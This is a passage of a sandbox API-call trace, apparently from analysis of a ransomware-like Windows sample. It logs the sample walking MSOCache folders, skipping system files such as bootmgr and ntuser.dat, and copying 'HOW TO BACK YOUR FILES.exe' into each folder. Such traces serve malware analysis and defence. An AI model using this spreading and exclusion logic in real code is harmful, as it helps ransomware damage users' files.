Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\how to back your files.exe"), bFailIfExists=1) returned 1 [0036.180] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x435769e0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x43bdc500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{90140000-0054-0409-1000-0000000FF1CE}-C", cAlternateFileName="{9EA85~1")) returned 1 [0036.180] lstrcmpiW (lpString1="{90140000-0054-0409-1000-0000000FF1CE}-C", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0036.180] lstrcmpiW (lpString1="{90140000-0054-0409-1000-0000000FF1CE}-C", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0036.180] lstrcmpiW (lpString1="{90140000-0054-0409-1000-0000000FF1CE}-C", lpString2=".") returned 1 [0036.180] lstrcmpiW (lpString1="{90140000-0054-0409-1000-0000000FF1CE}-C", lpString2="..") returned 1 [0036.180] lstrcmpiW (lpString1="{90140000-0054-0409-1000-0000000FF1CE}-C", lpString2="windows") returned -1 [0036.180] lstrcmpiW (lpString1="{90140000-0054-0409-1000-0000000FF1CE}-C", lpString2="bootmgr") returned -1 [0036.180] lstrcmpiW (lpString1="{90140000-0054-0409-1000-0000000FF1CE}-C", lpString2="temp") returned -1 [0036.180] lstrcmpiW (lpString1="{90140000-0054-0409-1000-0000000FF1CE}-C", lpString2="pagefile.sys") returned -1 [0036.180] lstrcmpiW (lpString1="{90140000-0054-0409-1000-0000000FF1CE}-C", lpString2="boot") returned -1 [0036.180] lstrcmpiW (lpString1="{90140000-0054-0409-1000-0000000FF1CE}-C", lpString2="ids.txt") returned -1 [0036.180] lstrcmpiW (lpString1="{90140000-0054-0409-1000-0000000FF1CE}-C", lpString2="ntuser.dat") returned -1 [0036.180] lstrcmpiW (lpString1="{90140000-0054-0409-1000-0000000FF1CE}-C", lpString2="perflogs") returned -1 [0036.180] lstrcmpiW (lpString1="{90140000-0054-0409-1000-0000000FF1CE}-C", lpString2="MSBuild") returned -1 [0036.180] lstrlenW (lpString="{90140000-0054-0409-1000-0000000FF1CE}-C") returned 40 [0036.180] lstrcpyW (in: lpString1=0x241e874, lpString2="{90140000-0054-0409-1000-0000000FF1CE}-C" | out: lpString1="{90140000-0054-0409-1000-0000000FF1CE}-C") returned="{90140000-0054-0409-1000-0000000FF1CE}-C" [0036.180] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C", dwFileAttributes=0x2010) returned 1 [0036.180] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52f5c8 [0036.180] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x7e) returned 0x518cd8 [0036.180] lstrcatW (in: lpString1="{90140000-0054-0409-1000-0000000FF1CE}-C", lpString2="\\" | out: lpString1="{90140000-0054-0409-1000-0000000FF1CE}-C\\") returned="{90140000-0054-0409-1000-0000000FF1CE}-C\\" [0036.180] lstrcatW (in: lpString1="{90140000-0054-0409-1000-0000000FF1CE}-C\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="{90140000-0054-0409-1000-0000000FF1CE}-C\\HOW TO BACK YOUR FILES.exe") returned="{90140000-0054-0409-1000-0000000FF1CE}-C\\HOW TO BACK YOUR FILES.exe" [0036.180] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\how to back your files.exe"), bFailIfExists=1) returned 1 [0036.184] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf58ee8d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf6e0ec10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf6e0ec10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{90140000-00A1-0409-1000-0000000FF1CE}-C", cAlternateFileName="{92572~1")) returned 1 [0036.184] lstrcmpiW (lpString1="{90140000-00A1-0409-1000-0000000FF1CE}-C", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0036.184] lstrcmpiW (lpString1="{90140000-00A1-0409-1000-0000000FF1CE}-C", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0036.184] lstrcmpiW (lpString1="{90140000-00A1-0409-1000-0000000FF1CE}-C", lpString2=".") returned 1 [0036.184] lstrcmpiW (lpString1="{90140000-00A1-0409-1000-0000000FF1CE}-C", lpString2="..") returned 1 [0036.184] lstrcmpiW (lpString1="{90140000-00A1-0409-1000-0000000FF1CE}-C", lpString2="windows") returned -1 [0036.184] lstrcmpiW (lpString1="{90140000-00A1-0409-1000-0000000FF1CE}-C", lpString2="bootmgr") returned -1 [0036.184] lstrcmpiW (lpString1="{90140000-00A1-0409-1000-0000000FF1CE}-C", lpString2="temp") returned -1 [0036.184] lstrcmpiW (lpString1="{90140000-00A1-0409-1000-0000000FF1CE}-C", lpString2="pagefile.sys") returned -1 [0036.184] lstrcmpiW (lpString1="{90140000-00A1-0409-1000-0000000FF1CE}-C", lpString2="boot") returned -1 [0036.184] lstrcmpiW (lpString1="{90140000-00A1-0409-1000-0000000FF1CE}-C", lpString2="ids.txt") returned -1 [0036.184] lstrcmpiW (lpString1="{90140000-00A1-0409-1000-0000000FF1CE}-C", lpString2="ntuser.dat") returned -1 [0036.184] lstrcmpiW (lpString1="{90140000-00A1-0409-1000-0000000FF1CE}-C", lpString2="perflogs") returned -1 [0036.184] lstrcmpiW (lpString1="{90140000-00A1-0409-1000-0000000FF1CE}-C", lpString2="MSBuild") returned -1 [0036.184] lstrlenW (lpString="{90140000-00A1-0409-1000-0000000FF1CE}-C") returned 40 [0036.184] lstrcpyW (in: lpString1=0x241e874, lpString2="{90140000-00A1-0409-1000-0000000FF1CE}-C" | out: lpString1="{90140000-00A1-0409-1000-0000000FF1CE}-C") returned="{90140000-00A1-0409-1000-0000000FF1CE}-C" [0036.184] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C", dwFileAttributes=0x2010) returned 1 [0036.185] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52f5e0 [0036.185] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x7e) returned 0x518de8 [0036.185] lstrcatW (in: lpString1="{90140000-00A1-0409-1000-0000000FF1CE}-C", lpString2="\\" | out: lpString1="{90140000-00A1-0409-1000-0000000FF1CE}-C\\") returned="{90140000-00A1-0409-1000-0000000FF1CE}-C\\" [0036.185] lstrcatW (in: lpString1="{90140000-00A1-0409-1000-0000000FF1CE}-C\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="{90140000-00A1-0409-1000-0000000FF1CE}-C\\HOW TO BACK YOUR FILES.exe") returned="{90140000-00A1-0409-1000-0000000FF1CE}-C\\HOW TO BACK YOUR FILES.exe" [0036.185] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\how to back your files.exe"), bFailIfExists=1) returned 1 [0036.189] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5b30b20, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa5bc90a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5bc90a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{90140000-00B4-0409-1000-0000000FF1CE}-C", cAlternateFileName="{912E0~1")) returned 1 [0036.189] lstrcmpiW (lpString1="{90140000-00B4-0409-1000-0000000FF1CE}-C", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0036.189] lstrcmpiW (lpString1="{90140000-00B4-0409-1000-0000000FF1CE}-C", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0036.189] lstrcmpiW (lpString1="{90140000-00B4-0409-1000-0000000FF1CE}-C", lpString2=".") returned 1 [0036.189] lstrcmpiW (lpString1="{90140000-00B4-0409-1000-0000000FF1CE}-C", lpString2="..") returned 1 [0036.189] lstrcmpiW (lpString1="{90140000-00B4-0409-1000-0000000FF1CE}-C", lpString2="windows") returned -1 [0036.189] lstrcmpiW (lpString1="{90140000-00B4-0409-1000-0000000FF1CE}-C", lpString2="bootmgr") returned -1 [0036.189] lstrcmpiW (lpString1="{90140000-00B4-0409-1000-0000000FF1CE}-C", lpString2="temp") returned -1 [0036.189] lstrcmpiW (lpString1="{90140000-00B4-0409-1000-0000000FF1CE}-C", lpString2="pagefile.sys") returned -1 [0036.189] lstrcmpiW (lpString1="{90140000-00B4-0409-1000-0000000FF1CE}-C", lpString2="boot") returned -1 [0036.189] lstrcmpiW (lpString1="{90140000-00B4-0409-1000-0000000FF1CE}-C", lpString2="ids.txt") returned -1 [0036.189] lstrcmpiW (lpString1="{90140000-00B4-0409-1000-0000000FF1CE}-C", lpString2="ntuser.dat") returned -1 [0036.189] lstrcmpiW (lpString1="{90140000-00B4-0409-1000-0000000FF1CE}-C", lpString2="perflogs") returned -1 [0036.189] lstrcmpiW (lpString1="{90140000-00B4-0409-1000-0000000FF1CE}-C", lpString2="MSBuild") returned -1 [0036.189] lstrlenW (lpString="{90140000-00B4-0409-1000-0000000FF1CE}-C") returned 40 [0036.189] lstrcpyW (in: lpString1=0x241e874, lpString2="{90140000-00B4-0409-1000-0000000FF1CE}-C" | out: lpString1="{90140000-00B4-0409-1000-0000000FF1CE}-C") returned="{90140000-00B4-0409-1000-0000000FF1CE}-C" [0036.189] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C", dwFileAttributes=0x2010) returned 1 [0036.191] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52f5f8 [0036.191] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x7e) returned 0x518e70 [0036.191] lstrcatW (in: lpString1="{90140000-00B4-0409-1000-0000000FF1CE}-C", lpString2="\\" | out: lpString1="{90140000-00B4-0409-1000-0000000FF1CE}-C\\") returned="{90140000-00B4-0409-1000-0000000FF1CE}-C\\" [0036.191] lstrcatW (in: lpString1="{90140000-00B4-0409-1000-0000000FF1CE}-C\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="{90140000-00B4-0409-1000-0000000FF1CE}-C\\HOW TO BACK YOUR FILES.exe") returned="{90140000-00B4-0409-1000-0000000FF1CE}-C\\HOW TO BACK YOUR FILES.exe" [0036.191] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\how to back your files.exe"), bFailIfExists=1) returned 1 [0036.195] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee803530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{90140000-00BA-0409-1000-0000000FF1CE}-C", cAlternateFileName="{90140~4")) returned 1 [0036.195] lstrcmpiW (lpString1="{90140000-00BA-0409-1000-0000000FF1CE}-C", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0036.195] lstrcmpiW (lpString1="{90140000-00BA-0409-1000-0000000FF1CE}-C", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0036.195] lstrcmpiW (lpString1="{90140000-00BA-0409-1000-0000000FF1CE}-C", lpString2=".") returned 1 [0036.195] lstrcmpiW (lpString1="{90140000-00BA-0409-1000-0000000FF1CE}-C", lpString2="..") returned 1 [0036.195] lstrcmpiW (lpString1="{90140000-00BA-0409-1000-0000000FF1CE}-C", lpString2="windows") returned -1 [0036.195] lstrcmpiW (lpString1="{90140000-00BA-0409-1000-0000000FF1CE}-C", lpString2="bootmgr") returned -1 [0036.195] lstrcmpiW (lpString1="{90140000-00BA-0409-1000-0000000FF1CE}-C", lpString2="temp") returned -1 [0036.195] lstrcmpiW (lpString1="{90140000-00BA-0409-1000-0000000FF1CE}-C", lpString2="pagefile.sys") returned -1 [0036.195] lstrcmpiW (lpString1="{90140000-00BA-0409-1000-0000000FF1CE}-C", lpString2="boot") returned -1 [0036.195] lstrcmpiW (lpString1="{90140000-00BA-0409-1000-0000000FF1CE}-C", lpString2="ids.txt") returned -1 [0036.195] lstrcmpiW (lpString1="{90140000-00BA-0409-1000-0000000FF1CE}-C", lpString2="ntuser.dat") returned -1 [0036.195] lstrcmpiW (lpString1="{90140000-00BA-0409-1000-0000000FF1CE}-C", lpString2="perflogs") returned -1 [0036.195] lstrcmpiW (lpString1="{90140000-00BA-0409-1000-0000000FF1CE}-C", lpString2="MSBuild") returned -1 [0036.195] lstrlenW (lpString="{90140000-00BA-0409-1000-0000000FF1CE}-C") returned 40 [0036.195] lstrcpyW (in: lpString1=0x241e874, lpString2="{90140000-00BA-0409-1000-0000000FF1CE}-C" | out: lpString1="{90140000-00BA-0409-1000-0000000FF1CE}-C") returned="{90140000-00BA-0409-1000-0000000FF1CE}-C" [0036.195] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C", dwFileAttributes=0x2010) returned 1 [0036.196] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52f610 [0036.196] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x7e) returned 0x518ef8 [0036.196] lstrcatW (in: lpString1="{90140000-00BA-0409-1000-0000000FF1CE}-C", lpString2="\\" | out: lpString1="{90140000-00BA-0409-1000-0000000FF1CE}-C\\") returned="{90140000-00BA-0409-1000-0000000FF1CE}-C\\" [0036.196] lstrcatW (in: lpString1="{90140000-00BA-0409-1000-0000000FF1CE}-C\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="{90140000-00BA-0409-1000-0000000FF1CE}-C\\HOW TO BACK YOUR FILES.exe") returned="{90140000-00BA-0409-1000-0000000FF1CE}-C\\HOW TO BACK YOUR FILES.exe" [0036.196] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\how to back your files.exe"), bFailIfExists=1) returned 1 [0036.200] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b68970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8729610, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8729610, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{90140000-0115-0409-1000-0000000FF1CE}-C", cAlternateFileName="{90140~1")) returned 1 [0036.200] lstrcmpiW (lpString1="{90140000-0115-0409-1000-0000000FF1CE}-C", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0036.200] lstrcmpiW (lpString1="{90140000-0115-0409-1000-0000000FF1CE}-C", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0036.200] lstrcmpiW (lpString1="{90140000-0115-0409-1000-0000000FF1CE}-C", lpString2=".") returned 1 [0036.200] lstrcmpiW (lpString1="{90140000-0115-0409-1000-0000000FF1CE}-C", lpString2="..") returned 1 [0036.200] lstrcmpiW (lpString1="{90140000-0115-0409-1000-0000000FF1CE}-C", lpString2="windows") returned -1 [0036.200] lstrcmpiW (lpString1="{90140000-0115-0409-1000-0000000FF1CE}-C", lpString2="bootmgr") returned -1 [0036.200] lstrcmpiW (lpString1="{90140000-0115-0409-1000-0000000FF1CE}-C", lpString2="temp") returned -1 [0036.200] lstrcmpiW (lpString1="{90140000-0115-0409-1000-0000000FF1CE}-C", lpString2="pagefile.sys") returned -1 [0036.200] lstrcmpiW (lpString1="{90140000-0115-0409-1000-0000000FF1CE}-C", lpString2="boot") returned -1 [0036.200] lstrcmpiW (lpString1="{90140000-0115-0409-1000-0000000FF1CE}-C", lpString2="ids.txt") returned -1 [0036.200] lstrcmpiW (lpString1="{90140000-0115-0409-1000-0000000FF1CE}-C", lpString2="ntuser.dat") returned -1 [0036.200] lstrcmpiW (lpString1="{90140000-0115-0409-1000-0000000FF1CE}-C", lpString2="perflogs") returned -1 [0036.200] lstrcmpiW (lpString1="{90140000-0115-0409-1000-0000000FF1CE}-C", lpString2="MSBuild") returned -1 [0036.200] lstrlenW (lpString="{90140000-0115-0409-1000-0000000FF1CE}-C") returned 40 [0036.200] lstrcpyW (in: lpString1=0x241e874, lpString2="{90140000-0115-0409-1000-0000000FF1CE}-C" | out: lpString1="{90140000-0115-0409-1000-0000000FF1CE}-C") returned="{90140000-0115-0409-1000-0000000FF1CE}-C" [0036.200] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C", dwFileAttributes=0x2010) returned 1 [0036.201] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52f628 [0036.201] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x7e) returned 0x518f80 [0036.201] lstrcatW (in: lpString1="{90140000-0115-0409-1000-0000000FF1CE}-C", lpString2="\\" | out: lpString1="{90140000-0115-0409-1000-0000000FF1CE}-C\\") returned="{90140000-0115-0409-1000-0000000FF1CE}-C\\" [0036.201] lstrcatW (in: lpString1="{90140000-0115-0409-1000-0000000FF1CE}-C\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="{90140000-0115-0409-1000-0000000FF1CE}-C\\HOW TO BACK YOUR FILES.exe") returned="{90140000-0115-0409-1000-0000000FF1CE}-C\\HOW TO BACK YOUR FILES.exe" [0036.201] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\how to back your files.exe"), bFailIfExists=1) returned 1 [0036.204] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc112b50, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc112b50, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{90140000-0117-0409-1000-0000000FF1CE}-C", cAlternateFileName="{9AFC7~1")) returned 1 [0036.204] lstrcmpiW (lpString1="{90140000-0117-0409-1000-0000000FF1CE}-C", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0036.204] lstrcmpiW (lpString1="{90140000-0117-0409-1000-0000000FF1CE}-C", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0036.204] lstrcmpiW (lpString1="{90140000-0117-0409-1000-0000000FF1CE}-C", lpString2=".") returned 1 [0036.204] lstrcmpiW (lpString1="{90140000-0117-0409-1000-0000000FF1CE}-C", lpString2="..") returned 1 [0036.204] lstrcmpiW (lpString1="{90140000-0117-0409-1000-0000000FF1CE}-C", lpString2="windows") returned -1 [0036.205] lstrcmpiW (lpString1="{90140000-0117-0409-1000-0000000FF1CE}-C", lpString2="bootmgr") returned -1 [0036.205] lstrcmpiW (lpString1="{90140000-0117-0409-1000-0000000FF1CE}-C", lpString2="temp") returned -1 [0036.205] lstrcmpiW (lpString1="{90140000-0117-0409-1000-0000000FF1CE}-C", lpString2="pagefile.sys") returned -1 [0036.205] lstrcmpiW (lpString1="{90140000-0117-0409-1000-0000000FF1CE}-C", lpString2="boot") returned -1 [0036.205] lstrcmpiW (lpString1="{90140000-0117-0409-1000-0000000FF1CE}-C", lpString2="ids.txt") returned -1 [0036.205] lstrcmpiW (lpString1="{90140000-0117-0409-1000-0000000FF1CE}-C", lpString2="ntuser.dat") returned -1 [0036.205] lstrcmpiW (lpString1="{90140000-0117-0409-1000-0000000FF1CE}-C", lpString2="perflogs") returned -1 [0036.205] lstrcmpiW (lpString1="{90140000-0117-0409-1000-0000000FF1CE}-C", lpString2="MSBuild") returned -1 [0036.205] lstrlenW (lpString="{90140000-0117-0409-1000-0000000FF1CE}-C") returned 40 [0036.205] lstrcpyW (in: lpString1=0x241e874, lpString2="{90140000-0117-0409-1000-0000000FF1CE}-C" | out: lpString1="{90140000-0117-0409-1000-0000000FF1CE}-C") returned="{90140000-0117-0409-1000-0000000FF1CE}-C" [0036.205] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C", dwFileAttributes=0x2010) returned 1 [0036.206] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52f640 [0036.206] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x7e) returned 0x519008 [0036.206] lstrcatW (in: lpString1="{90140000-0117-0409-1000-0000000FF1CE}-C", lpString2="\\" | out: lpString1="{90140000-0117-0409-1000-0000000FF1CE}-C\\") returned="{90140000-0117-0409-1000-0000000FF1CE}-C\\" [0036.206] lstrcatW (in: lpString1="{90140000-0117-0409-1000-0000000FF1CE}-C\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="{90140000-0117-0409-1000-0000000FF1CE}-C\\HOW TO BACK YOUR FILES.exe") returned="{90140000-0117-0409-1000-0000000FF1CE}-C\\HOW TO BACK YOUR FILES.exe" [0036.206] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\how to back your files.exe"), bFailIfExists=1) returned 1 [0036.209] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfe09ced0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x18179b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18179b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{91140000-0011-0000-1000-0000000FF1CE}-C", cAlternateFileName="{91140~1")) returned 1 [0036.209] lstrcmpiW (lpString1="{91140000-0011-0000-1000-0000000FF1CE}-C", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0036.209] lstrcmpiW (lpString1="{91140000-0011-0000-1000-0000000FF1CE}-C", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0036.209] lstrcmpiW (lpString1="{91140000-0011-0000-1000-0000000FF1CE}-C", lpString2=".") returned 1 [0036.209] lstrcmpiW (lpString1="{91140000-0011-0000-1000-0000000FF1CE}-C", lpString2="..") returned 1 [0036.209] lstrcmpiW (lpString1="{91140000-0011-0000-1000-0000000FF1CE}-C", lpString2="windows") returned -1 [0036.209] lstrcmpiW (lpString1="{91140000-0011-0000-1000-0000000FF1CE}-C", lpString2="bootmgr") returned -1 [0036.210] lstrcpyW (in: lpString1=0x241e874, lpString2="{91140000-0011-0000-1000-0000000FF1CE}-C" | out: lpString1="{91140000-0011-0000-1000-0000000FF1CE}-C") returned="{91140000-0011-0000-1000-0000000FF1CE}-C" [0036.210] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C", dwFileAttributes=0x2010) returned 1 [0036.211] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52f658 [0036.211] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x7e) returned 0x519090 [0036.211] lstrcatW (in: lpString1="{91140000-0011-0000-1000-0000000FF1CE}-C", lpString2="\\" | out: lpString1="{91140000-0011-0000-1000-0000000FF1CE}-C\\") returned="{91140000-0011-0000-1000-0000000FF1CE}-C\\" [0036.211] lstrcatW (in: lpString1="{91140000-0011-0000-1000-0000000FF1CE}-C\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="{91140000-0011-0000-1000-0000000FF1CE}-C\\HOW TO BACK YOUR FILES.exe") returned="{91140000-0011-0000-1000-0000000FF1CE}-C\\HOW TO BACK YOUR FILES.exe" [0036.211] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\how to back your files.exe"), bFailIfExists=1) returned 1 [0036.214] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5cd3a40, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa8c22f80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8c22f80, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{91140000-003B-0000-1000-0000000FF1CE}-C", cAlternateFileName="{91140~3")) returned 1 [0036.214] lstrcmpiW (lpString1="{91140000-003B-0000-1000-0000000FF1CE}-C", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0036.214] lstrcmpiW (lpString1="{91140000-003B-0000-1000-0000000FF1CE}-C", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0036.214] lstrcpyW (in: lpString1=0x241e874, lpString2="{91140000-003B-0000-1000-0000000FF1CE}-C" | out: lpString1="{91140000-003B-0000-1000-0000000FF1CE}-C") returned="{91140000-003B-0000-1000-0000000FF1CE}-C" [0036.214] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C", dwFileAttributes=0x2010) returned 1 [0036.216] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52f670 [0036.216] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x7e) returned 0x519118 [0036.216] lstrcatW (in: lpString1="{91140000-003B-0000-1000-0000000FF1CE}-C", lpString2="\\" | out: lpString1="{91140000-003B-0000-1000-0000000FF1CE}-C\\") returned="{91140000-003B-0000-1000-0000000FF1CE}-C\\" [0036.216] lstrcatW (in: lpString1="{91140000-003B-0000-1000-0000000FF1CE}-C\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: 